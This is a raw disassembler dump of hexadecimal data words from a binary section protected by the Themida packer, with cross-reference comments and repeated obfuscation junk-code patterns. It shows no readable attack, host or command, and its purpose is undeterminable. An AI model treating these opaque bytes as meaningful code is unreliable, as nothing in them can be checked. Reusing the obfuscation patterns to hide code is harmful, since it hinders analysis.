dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
dd 56460000h, 0A7AFD6C3h, 23BE3BBBh, 70781B5h, 0ED95FF06h
dd 60060729h, 0CE8h, 0CA9C5C00h, 9ED13D28h, 80972854h
dd 9DB0B842h, 3358730Bh, 732E585h, 880F6106h, 0
dd 2BF88B5Bh, 8343DC3h, 860F0000h, 4Eh, 0E852006Ah, 3
dd 5AC35A20h, 4245489h, 4244481h, 15h, 78C35242h, 21E7819Bh
dd 0E966311Dh, 2Ch, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Dh, 22C35141h, 11D220C4h, 0FE7278D2h, 0C08BF51Ah
dd 3500BE66h, 0D88BC38Bh, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 17h, 97C35040h, 0C755DA71h, 714F185h, 47CB7706h
dd 11BD8B16h, 8B060704h, 9E8C0h, 0C1220000h, 579FF0BEh
dd 5F7E3408h, 20D5BD81h, 7D00607h, 850F0000h, 4Dh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0D8C35646h, 31FECB52h
dd 0BB24419Bh, 0E6816606h, 85FF924Ch, 60720D5h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 39C35141h, 0D5B5FF63h
dd 8B060720h, 72AC1BDh, 6995FF06h, 6A06070Dh, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
dd 0D35CC352h, 0F1BF0FB7h, 1265BD2Bh, 0E8900607h, 5, 0BF78C522h
dd 65B50350h, 5E060713h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 14h, 0B1C35646h, 2615B58Bh, 0B58B0607h, 6072829h
dd 6AF38B66h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 18042444h, 41000000h, 3800C351h, 663A3C59h, 1943D781h
dd 4FFDF681h, 0BD894C41h, 6072F55h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Bh, 46C35242h, 5A64023Ah, 6027D09Bh
dd 2F999531h, 0BE90607h, 14000000h, 10A3FDB9h, 41DD92A5h
dd 8B663116h, 6AFC61CAh, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 18042444h, 42000000h, 7E1BC352h, 6A9DFF33h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1C042444h
dd 40000000h, 61C2C350h, 8EE85B81h, 0E91F67EBh, 13h, 7AAE3508h
dd 681188B1h, 1411BC05h, 3EB3E122h, 29808BA3h, 71F65B5h
dd 59950106h, 0E906071Bh, 0FFFFF787h, 13E9h, 0E9D64300h
dd 3F58B12Ah, 10D239A2h, 282D7F5Ah, 1B2304B6h, 7E9h, 4834C00h
dd 9DD0919Eh, 38E804EBh, 0B6E90E84h, 0C4000005h, 0C66D0293h
dd 0BF66FB9Ah, 0BA61F691h, 0B65DF28Bh, 0C25DF283h, 29BCEFAAh
dd 25C0ED94h, 1CB7E990h, 15B0E087h, 5745B380h, 4398CBE6h
dd 2C481A31h, 0B04F7BFCh, 0AEE1680Fh, 0ECFA7D13h, 0F2EF5CFFh
dd 9F464D37h, 0AA31D86Fh, 39BAED7Ah, 2EC76E09h, 0BE45EC8Dh
dd 884CF392h, 0DA6D9F48h, 55B09A33h, 80AD56CBh, 0A5C27CE5h
dd 0B96165A2h, 199ECECFh, 11AA51ECh, 14B55082h, 0BA6D87Fh
dd 0A9DCF76h, 0FA2CD563h, 4F7C7D67h, 0F1D93EC1h, 0D6E48C3Dh
dd 0A3599102h, 6809DC49h, 30D56C1h, 6D5BE315h, 49A358FCh
dd 20917F47h, 6B49A359h, 3868F798h, 0B967FC9Dh, 9C43DE10h
dd 59AF200Eh, 27FA49A3h, 6B9B9C86h, 0EB5925CCh, 0D349A358h
dd 0AB2AAC7Ah, 3119AF58h, 52h, 69FC2C95h, 0F28BF6C2h, 166F49A3h
dd 0C00FC608h, 1CD19AEh, 31000000h, 2BE4A225h, 117A0B3Eh
dd 59436CDBh, 0EA912C58h, 2983763h, 0A18B2659h, 37D20188h
dd 0E38CCC90h, 0D56E15B0h, 988690EBh, 15B0E36Ch, 838DF74h
dd 0FE2ED76Dh, 3D27C067h, 0F92CC436h, 0E3AC168h, 5E17C86Fh
dd 83B65FD0h, 0D40708F2h, 0D505AC41h, 7800107Ah, 0BD5E8AB6h
dd 0B74E7E27h, 748D7710h, 7D24BFEDh, 0AC32FCDFh, 19AFB039h
dd 9BA3h, 6248CB00h, 9A46EA98h, 2514E0CAh, 0F49454A2h
dd 0B6A09378h, 48EF82B5h, 336937BAh, 2F7CE7DDh, 7B164445h
dd 961F4DD4h, 832ACB6Ah, 0FC9607F5h, 0EE149A2h, 0CB3527Fh
dd 0AB6BB548h, 54C24CDFh, 77FA9021h, 0DBD68B70h, 9F326569h
dd 0DB5D95FEh, 5522ED0Dh, 8ABD646Bh, 943BD609h, 2CB35AFBh
dd 10816FFDh, 5B49A3DAh, 0A851E788h, 0DAF3DD78h, 9CF593Ch
dd 19AED5DCh, 4EFEh, 0F92C6200h, 8A33C168h, 0D4D5BF5Eh
dd 0F8680FA2h, 92C573BDh, 69E669FFh, 0AD07DD44h, 2C9EA58Fh
dd 0BE65002Ch, 0BB5A8730h, 0F21D8BD1h, 356149A3h, 0CB772BD2h
dd 0CB6CCE22h, 0D86B9D24h, 0B37DC631h, 0E12F8873h, 0AF66F6DFh
dd 1E419h, 25480000h, 24B34E7Ch, 20B960F1h, 6C073536h
dd 0C73826D6h, 1249A3F2h, 0AE3C553Fh, 5D4BD305h, 49A3F1ECh
dd 1CC36437h, 1B4BABBBh, 0BF60A3AEh, 11A4D4D5h, 77C5F87Bh
dd 45AFE0A5h, 0A348E657h, 0BD5E3149h, 33BAD3h, 437BE65h
dd 12B95483h, 0A331D879h, 0A34844B5h, 0F0BC8F49h, 0E053D35Dh
dd 719F8997h, 689740D6h, 0A38D26CDh, 8B4BD39Ch, 0ED562AF0h
dd 679A29AAh, 0ED8E27CEh, 84EF6957h, 53FC47A2h, 48E18827h
dd 0EA91645Eh, 0D24D95Ch, 8D2F41C6h, 0DE72A2A3h, 0F7B04F5Bh
dd 0D2A68568h, 439BF361h, 24784CBh, 0AC342DECh, 0F5A338D9h
dd 7A790E72h, 3D27BCE7h, 75B10C3Ch, 4707D525h, 1BE78E2Fh
dd 439CB4B0h, 832AC3F0h, 8C33CEFCh, 0D757E11Ch, 2C1A245Fh
dd 158674FCh, 60439CB4h, 0B057EC8Dh, 0B73EE580h, 0D75AF087h
dd 0CEFDB349h, 95AE982Bh, 331D2BE4h, 0D0CF6403h, 1FB5C505h
dd 147D7h, 75253B00h, 0A3F21687h, 0F88E6149h, 0A3F2990Ah
dd 2711E449h, 0A18F7C04h, 49A3F230h, 0F20E7F6Dh, 865949A3h
dd 0F48A2BFEh, 0A2FA5806h, 0A9502347h, 3865F222h, 0C067FC9Dh
dd 0A1120090h, 0EC439CE9h, 5FE27819h, 258F5CCFh, 0BD2E1CD0h
dd 8439CB1h, 91AA9435h, 0F4655303h, 3F439CB0h, 77E8D66Ch
dd 0C2439CB1h, 0D40405EFh, 30E99A41h, 780838E6h, 9CB1198Ah
dd 2916443h, 29738D5h, 0B600D203h, 46081Fh, 0A6C0000h
dd 0BF98F83h, 49A3F2EAh, 3B190487h, 40B50E79h, 0E2895C56h
dd 0A324A516h, 34BDE949h, 2FC86F02h, 3260E78Eh, 863FF097h
dd 0FCCD7CB8h, 675BE232h, 4A7821D1h, 5E7FC5AFh, 949A324h
dd 7D00A136h, 76000000h, 16877525h, 6149A3F2h, 0F981A48Eh
dd 0F2AD1E0Ch, 25F849A3h, 8E00EE84h, 0D947A2EEh, 0A8D85F06h
dd 0A1D1780Dh, 0DB935F06h, 6B439CEDh, 9AFBA23Dh, 0CDEEE37Ah
dd 0B8EA798Fh, 0BD64032Fh, 18DC8324h, 37BBB85h, 0A0D07EC8h
dd 0D1BF6F05h, 439C0D60h, 0E7EED8ABh, 89E961Eh, 96E8021Ah
dd 0A5D89941h, 3DC46B0Ch, 68D37A0Dh, 7D05111Fh, 0E901EF85h
dd 723B8BC1h, 12FC97C9h, 3EB04518h, 0F48A820Ah, 9ECCEE06h
dd 9FCE7747h, 4F221C06h, 56F121A8h, 4BEA1AC1h, 0D88CD8A4h
dd 0CF0F4B0Fh, 5AF5FA4Ch, 0D0BAD376h, 4D7DAB75h, 4E7E25BAh
dd 0FF8210B7h, 0E4D2B19Fh, 3B092773h, 5982EBBEh, 0B1221026h
dd 0FC3B09D3h, 9D9E8829h, 0A52CD36Eh, 0B239E073h, 0B03EE580h
dd 9D351C2h, 51C99C3Bh, 990C0816h, 6ACBFAA3h, 1173AAFh
dd 0A28C2D22h, 1F4FF947h, 0C245F388h, 6DC41F44h, 0BABBA56Fh
dd 0C344EB8Ah, 8, 4D7C2539h, 19FBCAB4h, 0C36AFB2Ch, 0D2790C3Ch
dd 0D77E194Bh, 0E38A2350h, 0F198295Ch, 0F79E376Ah, 1A84170h
dd 0AB14C7Ah, 11B85783h, 0E0895067h, 405h, 42D00h, 4870000h
dd 2C895C24h, 4EC8324h, 68240C89h, 3C28h, 55240489h, 0B2699BBDh
dd 9003B91Ah, 0C18120BDh, 47D5615h, 0E981E929h, 47D5615h
dd 213B685Dh, 24890000h, 24048324h, 0EC815804h, 4
dd 81240C89h, 7B3D2404h, 408F53EBh, 8688108h, 53EB7B3Dh
dd 5024048Bh, 405E089h, 83000000h, 48704C0h, 34FF5C24h
dd 0C4835924h, 5171E904h, 6B9DFFFCh, 3089037Eh
db 0A7h
byte_57F3D9 db 12h, 0E8h, 0DFh ; DATA XREF: Themida_:0053CEACo
; Themida_:0053D2CCo ...
dd 2B92B834h, 0C503060Bh, 6C2BE0FFh, 1EC41658h, 0CECB2969h
dd 2B81A9Eh, 4D2C2A6Eh, 704D3FAFh, 14146656h, 0BFE5233h
dd 37447557h, 47C22AC5h, 0C3323B3h, 7183303Eh, 0FF1D7228h
dd 0AEDE068Bh, 74675D4Ch, 96980FA3h, 0BDBC0857h, 0D73A7B51h
dd 17B013D3h, 0F9B0675Ch, 5F1609F4h, 0A9124BF0h, 0E213BF1h
dd 0B44825E4h, 0D8C97205h, 6A600CD2h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 0C8FDC352h
dd 89FE6864h, 70515BDh, 6890F06h, 89000000h, 71DCDBDh
dd 0FFFEB906h, 0DB81FFFFh, 0F3AC449h, 21A98D21h, 6A0607h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
dd 0F50E28C3h, 0F8666E8Eh, 0C418D21h, 6A0607h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
dd 0FC016AC3h, 21A98D8Bh, 6A0607h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 180424h, 55450000h, 0DF6D85C3h, 0F5BA0423h
dd 83435E47h, 850F01E1h, 6, 1921B58Bh, 8D8B0607h, 6070C41h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 93C35646h
dd 796C5C57h, 7437FF4Dh, 3255B523h, 0E1830607h, 5850F01h
dd 66000000h, 9A6EE681h, 6A6061h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 170424h, 57470000h, 0C9EF29C3h, 65BD895Ch
dd 89060720h, 7049D9Dh, 0FFFEB906h, 6AFFFFh, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 160424h, 56460000h, 0CC3068C3h
dd 6810FF9h, 89000000h, 70CC185h, 0E58D2106h, 3106071Eh
dd 70B0D9Dh, 198D2106h, 6A060726h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 0ECBEC357h
dd 0D7D1544Dh, 1EE58D8Bh, 8B0F0607h, 0Eh, 159D2960h, 8B060726h
dd 71F9995h, 0E1836106h, 6850F01h, 89000000h, 7215585h
dd 198D8B06h, 83060726h, 850F01E1h, 2Bh, 0E853006Ah, 3
dd 5BC35B20h, 4245C89h, 4244481h, 17h, 8EC35343h, 89819EF4h
dd 726159Dh, 0A5BD8906h, 61060721h, 7E96060h, 6D000000h
dd 4F951C56h, 81662803h, 6178B4F1h, 0FFFFFEB9h, 55006AFFh
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h
dd 89BD5E51h, 7DD5FB3Ah, 21F56695h, 720618Dh, 56006A06h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h
dd 0E9E2F02Bh, 9, 0ABE67AC5h, 99C95256h, 0D98D2154h, 6A060709h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h
dd 43000000h, 0CBF4C353h, 0D4802808h, 14E90Ch, 5BF80000h
dd 0A8B04251h, 4581E395h, 3572B953h, 0A465D20h, 9D29EB74h
dd 6072255h, 20618D8Bh, 9D090607h, 60704E9h, 0F01E183h
dd 2785h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1904h, 0C3534300h, 0D84E62Dh, 9D8BFF43h, 6071B2Dh, 9D98D8Bh
dd 6A0607h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
dd 57470000h, 13CEB8C3h, 0FB8B6643h, 0F01E183h, 985h, 55E08000h
dd 795BD8Bh, 60610607h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 15h, 0FDC35141h, 0E982B719h, 0Dh, 37CCFC59h
dd 8D6BFA3Bh, 516DCF81h, 8F0F7Ch, 0B9000000h, 0FFFFFFFEh
dd 2635B529h, 8D210607h, 6072E51h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 15h, 38C35747h, 18C0F20h, 0F5000000h
dd 21F08B66h, 714F18Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1804h, 0C3534300h, 0BE742F04h, 0C0BF0FCDh
dd 28A99D8Bh, 8D8B0607h, 6072E51h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Dh, 0B5C35646h, 269AC935h, 8229B83Eh
dd 5D8D897Fh, 83060703h, 850F01E1h, 0Dh, 24C78060h, 5958Bh
dd 8B610607h, 0F18D8BF3h, 6A060714h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 3AC9C351h
dd 0DF58D01h, 0E1830607h, 30850F01h, 6A000000h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
dd 0B4C8C351h, 0EE9h, 0FAE7000h, 9E17ADEAh, 0F27B4742h
dd 61036C3Eh, 53006A60h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1804h, 0C3534300h, 38716508h, 0B5958BB0h, 8B060714h
dd 70CCD85h, 0D585C706h, 0D0060720h, 6A000007h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
dd 0C9A2C356h, 11D1A6C9h, 66601A57h, 8153C3BFh, 3494F9C2h
dd 0FB8B6151h, 50006A61h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1B04h, 0C3504000h, 0FDB59FDEh, 0C8C66AC7h
dd 0CE8h, 66D1D500h, 0F7C10DC2h, 0C75CA0CCh, 0A9B503D3h
dd 5F060710h, 9D5958Bh, 7EB0607h, 0E99D61h, 6A000000h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h
dd 47000000h, 0E3A4C357h, 7F957C6h, 0F5B74A13h, 0B8B0Fh
dd 6E90000h, 39000000h, 0FADEE6C7h, 57006A30h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 6074CD75h
dd 0A3F2F081h, 858B095Ch, 60713EDh, 0C18BFC61h, 57006A60h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h
dd 868A5BBBh, 1EA202C0h, 9529F9D1h, 6073255h, 1FED9589h
dd 0C08B0607h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 15h, 7EC35040h, 0CE81666Dh, 0BD83CAD6h, 6071ACDh, 83097500h
dd 71135BDh, 19740006h, 0C08B5350h, 438B8h, 7D858900h
dd 8D06071Fh, 9ADC09Dh, 5BD3FF06h, 35BD8358h, 60711h, 53501774h
dd 438B8h, 7D858900h, 8D06071Fh, 9AAAF9Dh, 5BD3FF06h, 0E7816658h
dd 6A8410h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
dd 51410000h, 43BDC8C3h, 7A89FD2Fh, 8BCF8B66h, 57006AC0h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h
dd 68B0F85h, 81000000h, 1CBDBCC7h, 76FE813h, 0B5330000h
dd 6071E35h, 0E858589h, 8D8B0607h, 6070319h, 2F0D9529h
dd 52E80607h, 0B9000007h, 2F957AB5h, 0BE960h, 0ED230000h
dd 333C200Eh, 3F6DE5D5h, 0CEB70FA1h, 0D1858961h, 6A060705h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h
dd 45000000h, 64BCC355h, 3AB8592Ch, 0FC736184h, 708E8h
dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h
dd 0C3514100h, 0EDAD7873h, 0B58589E8h, 56060712h, 2345B50Bh
dd 0E85F0607h, 6D5h, 8589CF8Bh, 6071171h, 0E850006Ah, 3
dd 58C35820h, 4244489h, 4244481h, 1Ah, 55C35040h, 9761C03Bh
dd 60562893h, 0A4E5E2B9h, 1B9661Ch, 33596136h, 70DA18Dh
dd 693E806h, 6E90000h, 7C000000h, 29D36EE5h, 598589DBh
dd 0E8060708h, 10h, 122C875Eh, 731E74CFh, 70186DF4h, 7F6D2527h
dd 2150B956h, 595E5BFDh, 660E8h, 57006A00h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
dd 64CE43E6h, 518589E6h, 0F9060713h, 634E8h, 56006A00h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h
dd 2D359E9h, 8E0Fh, 85890000h, 6072639h, 603E8FCh, 6A0000h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
dd 858980C3h, 6071531h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 18h, 91C35545h, 0D9700A7Ah, 2D91BD2Bh, 0B6E80607h
dd 6A000005h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 19042444h, 45000000h, 5203C355h, 83039834h, 1AF58589h
dd 0FE90607h, 0BE000000h, 4E9AE16Bh, 638A266Eh, 0AB359F5Eh
dd 85892DBFh, 6070BE9h, 6E8h, 0F255D900h, 6677C908h, 895ECB8Bh
dd 70ECD9Dh, 55BE806h, 6A0000h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 170424h, 51410000h, 0D89E2DC3h, 4D8589D5h
dd 6A060712h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 15042444h, 46000000h, 1CC8C356h, 514E8h, 0F18B6600h
dd 7C58589h, 6A0607h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1A0424h, 50400000h, 8BEAA5C3h, 38E55E09h, 1DC18589h
dd 0B58B0607h, 6071ECDh, 4D8E8h, 55006A00h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 63BF4144h
dd 0B5296A3Dh, 6070599h, 2D318589h, 6A0607h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 140424h, 57470000h, 8AE859C3h
dd 0E9000004h, 5, 0C13B34F3h, 69858915h, 6A060704h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
dd 6C7C357h, 0E64D16F5h, 9D8911A4h, 60706EDh, 0FE9h, 0BBBE00h
dd 5CFEDCB7h, 0EBD10045h, 7A079A60h, 438E8h, 56006A00h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h
dd 0EE524D4Ah, 64BA9230h, 1AF5B58Bh, 81660607h, 897FE9E1h
dd 71E2585h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1804h, 0C3534300h, 6CE9C0F3h, 3DFE814h, 0B58B0000h
dd 6072B11h, 0A218589h, 9E90607h, 0DC000000h, 245E66A5h
dd 0D7F128DEh, 3C0E8h, 6D858900h, 51060721h, 0EE9h, 72CA8E00h
dd 0CF78F528h, 42F945Ah, 5F44698Ah, 20398589h, 6A0607h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
dd 2A70E5C3h, 8B664E62h, 8900B0F7h, 7051585h, 0D8B60F06h
dd 0B2AABF66h, 6BAh, 0A19D8900h, 8B060728h, 50006AC3h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h
dd 33C453DAh, 8A0Fh, 0E8C10000h, 15B58B04h, 6606070Eh
dd 0BD8BE2F7h, 6071A59h, 810FD82Bh, 0Ch, 6820Fh, 85290000h
dd 6071F49h, 0BE565093h, 784BF1C4h, 0CA8B935Fh, 29ED95FFh
dd 6A0607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
dd 53430000h, 60CCD3C3h, 85B58960h, 0B5060732h, 9D0B6101h
dd 6072209h, 6A5B61h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 140424h, 50400000h, 0D9806FC3h, 0C1958D5Eh, 0B5060732h
dd 0E91A893Ah, 0Eh, 6FA8AA41h, 80E8CDA1h, 0D479C5ADh, 42891CBFh
dd 56006A04h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h
dd 0C3564600h, 2A806F81h, 434BDC92h, 7E9h, 0F1C4F900h
dd 1918EC3Bh, 28C1958Dh, 850F0607h, 6, 1B49B58Bh, 1A890607h
dd 1A458D8Bh, 42890607h, 50006A04h, 3E8h, 0C3582000h, 24448958h
dword_580000 dd 24448104h, 1504h, 0C3504000h, 958D0A04h, 6070745h, 0FE9h
; DATA XREF: Themida_:0053D074o
; Themida_:0053D410o ...
dd 0DB39DD00h, 0EAFEC251h, 8486D6B6h, 0F397C1ADh, 6A1A89h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
dd 442620C3h, 13A58509h, 42890607h, 57006A04h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 4D3DB53h, 8DC9BF0Fh
dd 703C595h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1B04h, 0C3554500h, 4DA9BA09h, 57E294AFh, 0FE8h, 302E5800h
dd 342DD352h, 6AD730Dh, 11FD0733h, 0EE9h, 9537D600h, 254A6968h
dd 0B2705D92h, 5EC7628Dh, 0CF8B1A89h, 6A044289h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
dd 131DC350h, 0E1DC30D8h, 8DDFE9A5h, 71FD595h, 0F98B6606h
dd 0C6811A89h, 37FEDA87h, 6A044289h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 4EFFC353h
dd 7FFAE7B9h, 8D7CCD8Dh, 7020195h, 55006A06h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 0F18B668Dh
dd 89F08B66h, 442891Ah, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 19h, 0DCC35242h, 0F233235Ch, 0A19D3186h, 8D06070Dh
dd 7140595h, 5E806h, 25850000h, 8B926F83h, 70471B5h, 1A895E06h
dd 38FABF66h, 6A044289h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 19042444h, 41000000h, 0FF7DC351h, 30A050E7h
dd 188E0Fh, 13E90000h, 66000000h, 0CF555421h, 0AEA7ACF1h
dd 31EF4114h, 0D7AC01BAh, 958DE35Dh, 6072D15h, 1EB96651h
dd 1A895FFFh, 89F38B66h, 6A0442h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 140424h, 50400000h, 0B58999C3h, 6070C51h
dd 0F4E9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1C04h, 0C3514100h, 41D814Bh, 468BA980h, 6A006A18h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
dd 706AC353h, 0C04C0979h, 163BF56h, 6A597BE4h, 50006A00h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h
dd 0DA4B75E4h, 0EDF517h, 0F88BACE9h, 0BD0B006Ah, 60732C9h
dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
dd 51410000h, 521152C3h, 0FA5178Ah, 0C5D9529h, 0BD8B0607h
dd 60712C5h, 7ED95FFh, 6A0607h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 160424h, 55450000h, 1A4E4EC3h, 55006AC3h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h
dd 0F98B57DAh, 6AC58A5Eh, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1C042444h, 47000000h, 5F84C357h, 0D27F99A2h
dd 0FB5B3E6h, 1886h, 13E900h, 7A620000h, 145F26FDh, 59123E40h
dd 0B8B37BB6h, 31A406C4h, 6AC08B41h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0D64C353h
dd 588DA0A3h, 8B6650ABh, 0CDBD83FEh, 6071Ah, 0BD830975h
dd 6071135h, 50197400h, 0B8C08B53h, 438h, 2F818589h, 9D8D0607h
dd 609AE27h, 585BD3FFh, 1135BD83h, 74000607h, 0B8535017h
dd 438h, 2F818589h, 9D8D0607h, 609AAC8h, 585BD3FFh, 0DFDF8166h
dd 55006A6Dh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h
dd 0C3554500h, 0B966C4B9h, 8D8B1487h, 6071885h, 858DC08Bh
dd 60718B1h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 1Ch, 32C35545h, 0DBD3405Fh, 90D17753h, 8E850h, 67C60000h
dd 1BEA1530h, 6CBFDC52h, 5F382AE8h, 6A240489h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
dd 1B09C352h, 3395788Bh, 80A6685Ch, 6A36CFh, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 56C35747h, 0C2AAE3E8h
dd 791D5429h, 3D8589BCh, 6A06070Dh, 9E900h, 0DE540000h
dd 5DFA7D98h, 8DFC58A8h, 0B3E4C85h, 53006A06h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 0FB0E9CCh
dd 686h, 0B1BD2300h, 8B060732h, 72339BDh, 25BD8906h, 83060705h
dd 0BD8905C0h, 6071391h, 11E9h, 0EC37E700h, 3988E994h
dd 0CEA69C18h, 80859DF1h, 5090D960h, 12E9h, 96C9D900h
dd 2F70903Fh, 0FDC6D9A0h, 4658729Ah, 900C1C1Fh, 2311BD8Bh
dd 6A0607h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 16h, 12C35646h, 11E9CDE7h, 0F2000000h, 0A8EF8239h, 84F943Ah
dd 0A8A871Ch, 0B04A92E0h, 96B062BFh, 6A006A30h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
dd 0E821C350h, 9, 711A1B32h, 6481A047h, 5FF88AD3h, 1E3D95FFh
dd 0BD8B0607h, 60707E1h, 8A1B529h, 8D8D0607h, 60A93D5h
dd 0ADE5CB81h, 0D1FF52CCh, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 17h, 89C35646h, 8AAA4E1Eh, 0BD83F9D8h, 60719BDh
dd 44850F01h, 6A000000h, 55006A02h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1804h, 0C3554500h, 308B73C3h, 0F98B90C9h
dd 0A800F50h, 0E9000000h, 5, 0C6B30956h, 0FFFC90A7h, 7079195h
dd 919D8B06h, 0E9060706h, 0EA5h, 0E8h, 0ED815D00h, 60B3E56h
dd 0EE9h, 41F5E300h, 0D014EFFEh, 0EE2E6E86h, 6A7E3EF4h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h
dd 40000000h, 3750C350h, 8DC6CDDFh, 0A843F85h, 56006A06h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
dd 1A391AD3h, 1173B1C7h, 0EF81DFA1h, 3F4F8948h, 9E850h
dd 0B6290000h, 0B579440Bh, 66CEAA37h, 895BDE8Bh, 0BF662404h
dd 0FF647983h, 35h, 25896400h, 0
dd 4CA8BF66h, 2F5985FFh, 6A0607h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 160424h, 55450000h, 902C4DC3h, 6AD8BF0Fh
dd 0BD8960FFh, 6070D31h, 6158F557h, 12E9h, 37FCAA00h, 0B8E5DEEBh
dd 613B94B6h, 0BD884DF8h, 0FF0D0783h, 70E85B5h, 0BE906h
dd 71E70000h, 376B748Ah, 4ABBB890h, 0BB260CFh, 0FF61CB8Bh
dd 72B8995h, 11AE906h, 66500000h, 0A5CCF81h, 0E900B05Fh
dd 5, 0CFABA57Bh, 970E677h, 70C218Dh, 6671E406h, 0B501DF8Bh
dd 6071F15h, 830F613Ch, 0ECh, 41958B60h, 0E9060702h, 8
dd 0F22F124Ch, 0F355904Ah, 0C8B60F61h, 6AC2F781h, 6BA679Bh
